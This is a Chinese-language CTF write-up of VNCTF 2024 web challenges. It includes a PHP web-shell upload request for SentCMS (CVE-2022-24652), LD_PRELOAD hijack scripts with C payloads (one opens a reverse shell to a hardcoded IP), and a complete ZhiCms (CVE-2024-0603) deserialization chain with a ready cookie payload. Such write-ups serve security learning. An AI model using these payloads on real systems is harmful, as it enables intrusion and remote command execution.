Checkin
题目描述:Welcome to VNCTF 2024~ long time no see.
开题,是前端小游戏
源码里面发现一个16进制编码字符串
解码后是flag
CutePath
题目描述:源自一次现实渗透
开题
当前页面没啥好看的,先爆破密码登录试试。爆破无果。。。
在项目的github仓库中的issues发现了别人提出的安全性问题(目录穿越)
安全性问题 · Issue #15 · ods-im/CuteHttpFileServer · GitHub
确实可行,发现一个文件名为base64编码的文件。
解码后是账号密码,即可登录。
目录穿越找到flag位置
重命名,用目录穿越,将文件移到可下载目录下。
点开就是flag
TrySent
考点总结:CVE-2022-24652,文件上传漏洞
题目描述:Just TrySent,出错不影响解题。
后台管理是thinkphp的,但是工具没检测出漏洞。
登陆后界面如下,上传头像功能值得引起注意
这其实就是CVE-2022-24652,危险类型文件的不加限制上传,是文件上传漏洞。漏洞路由/user/upload/upload
参考文章:
CVE-2022-24652|sentcms 4.0.x allows remote… - VULHUB开源网络安全威胁库
Sentcms任意文件上传漏洞 | Hanayuzu’Blog
抓包上传文件,由于没有上传文件按钮,我们手动构建上传包。
修改包:
POST /user/upload/upload HTTP/1.1
Host: 7dd1d89b-bc28-43fc-9b42-a014dff41eea.vnctf2024.manqiu.top
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bdd5af1e5c92e47342e53886cecaced2
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Length: 770
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="id"
WU_FILE_0
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="name"
test.jpg
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="type"
image/jpeg
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="lastModifiedDate"
Wed Jul 21 2021 18:15:25 GMT+0800 (中国标准时间)
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="size"
164264
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
Jay17
<?php eval($_POST[1]);?>
------WebKitFormBoundaryrhx2kYAMYDqoTThz--
访问呢恶意文件,getshell
codefever_again【*】
题目描述:非常好代码,爱来自审计,codefever 最新
开题
givenphp
考点总结:LD_PRELOAD & putenv()劫持共享so绕过(LD_PRELOAD劫持(ld劫持))
题目描述:非常好题目,爱来自白给
直接给了源码:
<?php
highlight_file(__FILE__);
if(isset($_POST['upload'])){
handleFileUpload($_FILES['file']);
}
if(isset($_GET['challenge'])){
waf();
$value=$_GET['value'];
$key=$_GET['key'];
$func=create_function("","putenv('$key=$value');");
if($func==$_GET['guess']){
$func();
system("whoami");
}
}
function waf()
{
if(preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['key'])||preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['value'])){
die("evil input!!!");
}
}
function handleFileUpload($file)
{
$uploadDirectory = '/tmp/';
if ($file['error'] !== UPLOAD_ERR_OK) {
echo '文件上传失败。';
return;
}
$fileExtension = pathinfo($file['name'], PATHINFO_EXTENSION);
$newFileName = uniqid('uploaded_file_', true) . '.' . $fileExtension;
$destination = $uploadDirectory . $newFileName;
if (move_uploaded_file($file['tmp_name'], $destination)) {
echo $destination;
} else {
echo '文件移动失败。';
}
}
题目有两个功能,一个是文件上传,还有一个是环境变量修改。过滤死了不能直接环境变量注入。
有文件上传有环境变量修改就是LD_PRELOAD劫持(ld劫持)。这个方法用在disable_functions的手动绕过中,也就是LD_PRELOAD & putenv()劫持共享so绕过。
参考文章:
在利用之前,我们还需解决如下一个小问题。哈?你不知道怎么满足判断?别急我也不知道,本地知道。
所以传参guess=%00lambda_【数字】
就行了
这里注意一点,最后一位数字会自增长,他会随着我们每次请求增长。
然后是LD劫持的利用。
python发包脚本:
import requests
import sys
url = 'http://854e5dee-d84d-4d53-a7ae-9aa5e081d29f.vnctf2024.manqiu.top/'
#上传文件
file = {
"file": open("1.so", "rb")
}
response = post(
url=url,
files=file,
data={"upload": "upload"},
# proxies={"http":"http://127.0.0.1:8080"}
)
#LD_PRELOAD劫持
value = response.text.split(">")[-1]
# value:so文件路径
print("filename:", value)
param = {
"challenge": 1,
"guess": '\x00lambda_1',
"key": "LD_PRELOAD",
"value": value
}
r = requests.get(url, params=param)
print(r.text)
.so
文件目前已知三种
c编译成so:gcc -fPIC -shared -o 1.so 1.c -nostartfiles
1、写马到文件
#include <stdio.h>
#include <stdlib.h>
void _init() {
FILE *file;
file = fopen("/var/www/html/shell1.php", "w");
if (file == NULL) {
printf("无法打开文件\n");
return;
}
fprintf(file, "<?php @eval($_POST[1]);?>\n");
fclose(file);
printf("文件写入成功\n");
}
2、反弹shell
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
char *server_ip = "120.46.41.173";
uint32_t server_port = 9023;
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
if (connect(sock, (struct sockaddr *)&attacker_addr, sizeof(attacker_addr)) != 0)
exit(0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execve("/bin/bash", 0, 0);
}
要是不成功的话,那就重启下环境
Zhi
考点:CVE-2024-0603(tel✌太强了,这题挖了一个CVE
源码:https://gitee.com/dazensun/zhicms
开题:
CVE-2024-0603描述:ZhiCms up to 4.0版本的文件app/plug/controller/giftcontroller.php中存在一处未知漏洞。攻击者可以通过篡改参数mylike触发反序列化,从而远程发起攻击。该漏洞被公开披露,并可能被利用。此漏洞的相关标识为VDB-250839。
链子就不自己挖了,直接用网上有的,自己复现理解一遍吧。
链子:
simple_html_dom::__destruct() -> simple_html_dom::clear() -> MemcacheDriver::clear() ->simple_html_dom_node::__toString() ->simple_html_dom_node::outertext() ->
Template::display() -> Template::compile()
倒着分析,所有涉及代码如下:
\ZhiCms\base\Template.php
<?php
namespace ZhiCms\base;
class Template {
protected $config =array();
protected $label = null;
protected $vars = array();
protected $cache = null;
public function __construct($config) {
$this->config = $config;
$this->assign('__Template', $this);
$this->label = array(
/**variable label
{$name} => <?php echo $name;?>
{$user['name']} => <?php echo $user['name'];?>
{$user.name} => <?php echo $user['name'];?>
*/
'/{(\\$[a-zA-Z_]\w*(?:\[[\w\.\"\'\[\]\$]+\])*)}/i' => "<?php echo $1; ?>",
'/\$(\w+)\.(\w+)\.(\w+)\.(\w+)/is' => "\$\\1['\\2']['\\3']['\\4']",
'/\$(\w+)\.(\w+)\.(\w+)/is' => "\$\\1['\\2']['\\3']",
'/\$(\w+)\.(\w+)/is' => "\$\\1['\\2']",
/**constance label
{CONSTANCE} => <?php echo CONSTANCE;?>
*/
'/\{([A-Z_\x7f-\xff][A-Z0-9_\x7f-\xff]*)\}/s' => "<?php echo \\1;?>",
/**msubstr label
{musbstr str="test" min="0" max="20"} msubstr($str, 0, 20);
**/
'/{musbstr\s*str=(\S+)\+min=\"(.*)\"\+max=\"(.*)\"}/i'=>"<?php echo\\1;echo\\2;echo\\3;?>",
/**if label
{if $name==1} => <?php if ($name==1){ ?>
{elseif $name==2} => <?php } elseif ($name==2){ ?>
{else} => <?php } else { ?>
{/if} => <?php } ?>
*/
'/\{if\s+(.+?)\}/' => "<?php if(\\1) { ?>",
'/\{else\}/' => "<?php } else { ?>",
'/\{elseif\s+(.+?)\}/' => "<?php } elseif (\\1) { ?>",
'/\{\/if\}/' => "<?php } ?>",
/**for label
{for $i=0;$i<10;$i++} => <?php for($i=0;$i<10;$i++) { ?>
{/for} => <?php } ?>
*/
'/\{for\s+(.+?)\}/' => "<?php for(\\1) { ?>",
'/\{\/for\}/' => "<?php } ?>",
/**foreach label
{foreach $arr as $vo} => <?php $n=1; if (is_array($arr) foreach($arr as $vo){ ?>
{foreach $arr as $key => $vo} => <?php $n=1; if (is_array($array) foreach($arr as $key => $vo){ ?>
{/foreach} => <?php $n++;}unset($n) ?>
*/
'/\{foreach\s+(\S+)\s+as\s+(\S+)\}/' => "<?php \$n=1;if(is_array(\\1)) foreach(\\1 as \\2) { ?>",
'/\{foreach\s+(\S+)\s+as\s+(\S+)\s*=>\s*(\S+)\}/' => "<?php \$n=1; if(is_array(\\1)) foreach(\\1 as \\2 => \\3) { ?>",
'/\{\/foreach\}/' => "<?php \$n++;}unset(\$n); ?>",
/**function label
{date('Y-m-d H:i:s')} => <?php echo date('Y-m-d H:i:s');?>
{$date('Y-m-d H:i:s')} => <?php echo $date('Y-m-d H:i:s');?>
*/
'/\{([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/' => "<?php echo \\1;?>",
'/\{(\\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/' => "<?php echo \\1;?>",
);
$this->cache = new Cache( $this->config['TPL_CACHE'] );
}
public function assign($name, $value = '') {
if( is_array($name) ){
foreach($name as $k => $v){
$this->vars[$k] = $v;
}
} else {
$this->vars[$name] = $value;
}
}
public function display($tpl = '', $return = false, $isTpl = true ) {
if( $return ){
if ( ob_get_level() ){
ob_end_flush();
flush();
}
ob_start();
}
extract($this->vars, EXTR_OVERWRITE);
eval('?>' . $this->compile( $tpl, $isTpl));
if( $return ){
$content = ob_get_contents();
ob_end_clean();
return $content;
}
}
public function compile( $tpl, $isTpl = true ) {
if( $isTpl ){
$tplFile = $this->config['TPL_PATH'] . $tpl . $this->config['TPL_SUFFIX'];
if ( !file_exists($tplFile) ) {
throw new \Exception("Template file '{$tplFile}' not found", 500);
}
$tplKey = md5(realpath($tplFile));
} else {
$tplKey = md5($tpl);
}
$ret = unserialize( $this->cache->get( $tplKey ) );
if ( empty($ret['template']) || ($isTpl&&filemtime($tplFile)>($ret['compile_time'])) ) {
$template = $isTpl ? file_get_contents( $tplFile ) : $tpl;
if( false === Hook::listen('templateParse', array($template), $template) ){
foreach ($this->label as $key => $value) {
$template = preg_replace($key, $value, $template);
}
}
$ret = array('template'=>$template, 'compile_time'=>time());
$this->cache->set( $tplKey, serialize($ret), 86400*365);
}
return $ret['template'];
}
}
\ZhiCms\base\Cache.php
<?php
namespace ZhiCms\base;
class Cache{
protected $config =array();
protected $cache = 'default';
public $proxyObj=null;
public $proxyExpire=1800;
protected static $objArr = array();
public function __construct( $cache = 'default' ) {
if( $cache ){
$this->cache = $cache;
}
$this->config = Config::get('CACHE.' . $this->cache);
if( empty($this->config) || !isset($this->config['CACHE_TYPE']) ) {
throw new \Exception($this->cache.' cache config error', 500);
}
}
public function __call($method, $args){
if( !isset(self::$objArr[$this->cache]) ){
$cacheDriver = __NAMESPACE__.'\cache\\' . ucfirst( $this->config['CACHE_TYPE'] ).'Driver';
if( !class_exists($cacheDriver) ) {
throw new \Exception("Cache Driver '{$cacheDriver}' not found'", 500);
}
self::$objArr[$this->cache] = new $cacheDriver( $this->config );
}
if( $this->proxyObj ){ //proxy mode
$key = md5( get_class($this->proxyObj) . '_'.$method.'_' . var_export($args) );
$value = self::$objArr[$this->cache]->get($key);
if( false===$value ){
$value = call_user_func_array(array($this->proxyObj, $method), $args);
self::$objArr[$this->cache]->set($key, $value, $this->proxyExpire);
}
return $value;
}else{
return call_user_func_array(array(self::$objArr[$this->cache], $method), $args);
}
}
}
\ZhiCms\ext\simple_html_dom.php
<?php
namespace ZhiCms\ext;
class simple_html_dom_node
{
private $dom = null;
function __toString()
{
return $this->outertext();
}
function outertext()
{
if ($this->dom && $this->dom->callback!==null)
{
call_user_func_array($this->dom->callback, array($this));
}
}
}
class simple_html_dom
{
public $callback = null;
protected $parent;
// .......
function __destruct()
{
$this->clear();
}
// .......
function clear()
{
foreach ($this->nodes as $n) {$n->clear(); $n = null;}
// This add next line is documented in the sourceforge repository. 2977248 as a fix for ongoing memory leaks that occur even with the use of clear.
if (isset($this->children)) foreach ($this->children as $n) {$n->clear(); $n = null;}
if (isset($this->parent)) {$this->parent->clear(); unset($this->parent);}
if (isset($this->root)) {$this->root->clear(); unset($this->root);}
unset($this->doc);
unset($this->noise);
}
// .......
}
ZhiCms\base\cache\MemcacheDriver.php
<?php
namespace ZhiCms\base\cache;
class MemcacheDriver implements CacheInterface{
protected $mmc = NULL;
protected $group = '';
protected $ver = 0;
public function __construct( $config = array() ) {
$this->mmc = new Memcache;
if( empty($config) ) {
$config['MEM_SERVER'] = array(array('127.0.0.1', 11211));
$config['GROUP'] = '';
}
foreach($config['MEM_SERVER'] as $v) {
call_user_func_array(array($this->mmc, 'addServer'), $v);
}
if( isset($config['GROUP']) ){
$this->group = $config['GROUP'];
}
$this->ver = intval( $this->mmc->get($this->group.'_ver') );
}
public function get($key) {
return $this->mmc->get($this->group.'_'.$this->ver.'_'.$key);
}
public function set($key, $value, $expire = 1800) {
return $this->mmc->set($this->group.'_'.$this->ver.'_'.$key, $value, 0, $expire);
}
public function inc($key, $value = 1) {
return $this->mmc->increment($this->group.'_'.$this->ver.'_'.$key, $value);
}
public function des($key, $value = 1) {
return $this->mmc->decrement($this->group.'_'.$this->ver.'_'.$key, $value);
}
public function del($key) {
return $this->mmc->delete($this->group.'_'.$this->ver.'_'.$key);
}
public function clear() {
return $this->mmc->set($this->group.'_ver', $this->ver+1);
}
}
==1、==首先看看链子的最末尾Template::display() -> Template::compile()
在\ZhiCms\base\Template.php
有个eval方法,参数可控就可以导致RCE
构造一下就可以使得eval可控,执行任意命令。构造如下:
class Template {
protected $config =array();
protected $label = null;
protected $vars = array();
protected $cache = null;
public function __construct(){
$this->cache = new Cache;
$this->vars=array("tpl"=>"<?php system('cat /f*');?>","isTpl"=>false);
}
}
2、simple_html_dom_node::outertext() -> Template::display()
代码有点多,是从这里跳过去到Template::display()的
对应部分exp构造如下:
class simple_html_dom_node
{
private $dom = null;
public function __construct(){
$dom = new simple_html_dom("");
$dom->callback=array(new Template(), "display");
$this->dom = $dom;
}
}
3、simple_html_dom_node::__toString() ->simple_html_dom_node::outertext()
直接就能过去
4、MemcacheDriver::clear() ->simple_html_dom_node::__toString()
MemcacheDriver的clear()方法中将$this->group拼接字符串’_ver’,所以可以触发simple_html_dom_node中的__toString()方法
对应部分exp构造如下:
class MemcacheDriver
{
protected $mmc = NULL;
protected $group = '';
protected $ver = 0;
public function __construct(){
$this->mmc = new Cache();
$this->group = new simple_html_dom_node;
}
}
5、simple_html_dom::clear() -> MemcacheDriver::clear()
对应部分exp构造:
//.........
namespace ZhiCms\ext;
use ZhiCms\base\cache\MemcacheDriver;
use ZhiCms\base\Template;
use zhicms\base\Cache;
class simple_html_dom
{
protected $parent;
public $callback = null;
public function __construct($obj){
$this->parent = $obj;
}
}
//.........
$step = new MemcacheDriver;
$exp = new simple_html_dom($step);
6、simple_html_dom::__destruct() -> simple_html_dom::clear()
直接就能过去
最终EXP:
<?php
namespace ZhiCms\base{
class Cache{
protected $config =array();
protected $cache = 'default';
public $proxyObj=null;
public $proxyExpire=1800;
public function __construct(){
$this->config = array("CACHE_TYPE"=>"FileCache","MEM_GROUP"=>"tpl");
}
}
class Template {
protected $config =array();
protected $label = null;
protected $vars = array();
protected $cache = null;
public function __construct(){
$this->cache = new Cache;
$this->vars=array("tpl"=>'<?php eval($_POST[1]);?>',"isTpl"=>false);
}
}
}
namespace ZhiCms\base\cache{
use ZhiCms\ext\simple_html_dom_node;
use ZhiCms\base\Cache;
class MemcachedDriver{
protected $mmc = NULL;
protected $group = '';
protected $ver = 0;
public function __construct()
{
$this->mmc = new Cache();
$this->group=new simple_html_dom_node();
}
}
}
namespace ZhiCms\ext{
use ZhiCms\base\cache\MemcachedDriver;
use ZhiCms\base\Template;
use ZhiCms\base\Cache;
class simple_html_dom
{
protected $parent;
public $callback;
public function __construct($obj)
{
$this->parent=$obj;
}
}
class simple_html_dom_node{
private $dom = null;
public function __construct()
{
$dom=new simple_html_dom("");
$dom->callback=array(new Template(),"display");
// $dom->callback="phpinfo";
$this->dom=$dom;
}
}
$mem = new MemcachedDriver();
$obj = new simple_html_dom($mem);
echo urlencode(serialize($obj));
}
payload:
GET:?r=plug/gift/mylike
Cookie:mylike=O%3A26%3A%22ZhiCms%5Cext%5Csimple_html_dom%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00parent%22%3BO%3A33%3A%22ZhiCms%5Cbase%5Ccache%5CMemcachedDriver%22%3A3%3A%7Bs%3A6%3A%22%00%2A%00mmc%22%3BO%3A17%3A%22ZhiCms%5Cbase%5CCache%22%3A4%3A%7Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A10%3A%22CACHE_TYPE%22%3Bs%3A9%3A%22FileCache%22%3Bs%3A9%3A%22MEM_GROUP%22%3Bs%3A3%3A%22tpl%22%3B%7Ds%3A8%3A%22%00%2A%00cache%22%3Bs%3A7%3A%22default%22%3Bs%3A8%3A%22proxyObj%22%3BN%3Bs%3A11%3A%22proxyExpire%22%3Bi%3A1800%3B%7Ds%3A8%3A%22%00%2A%00group%22%3BO%3A31%3A%22ZhiCms%5Cext%5Csimple_html_dom_node%22%3A1%3A%7Bs%3A36%3A%22%00ZhiCms%5Cext%5Csimple_html_dom_node%00dom%22%3BO%3A26%3A%22ZhiCms%5Cext%5Csimple_html_dom%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00parent%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22callback%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A20%3A%22ZhiCms%5Cbase%5CTemplate%22%3A4%3A%7Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22%00%2A%00label%22%3BN%3Bs%3A7%3A%22%00%2A%00vars%22%3Ba%3A2%3A%7Bs%3A3%3A%22tpl%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A5%3A%22isTpl%22%3Bb%3A0%3B%7Ds%3A8%3A%22%00%2A%00cache%22%3BO%3A17%3A%22ZhiCms%5Cbase%5CCache%22%3A4%3A%7Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A10%3A%22CACHE_TYPE%22%3Bs%3A9%3A%22FileCache%22%3Bs%3A9%3A%22MEM_GROUP%22%3Bs%3A3%3A%22tpl%22%3B%7Ds%3A8%3A%22%00%2A%00cache%22%3Bs%3A7%3A%22default%22%3Bs%3A8%3A%22proxyObj%22%3BN%3Bs%3A11%3A%22proxyExpire%22%3Bi%3A1800%3B%7D%7Di%3A1%3Bs%3A7%3A%22display%22%3B%7D%7D%7Ds%3A6%3A%22%00%2A%00ver%22%3Bi%3A0%3B%7Ds%3A8%3A%22callback%22%3BN%3B%7D
POST:1=system('tac /denfjkehfiofleffagww');
剩下的自己确实没能力做了,拜~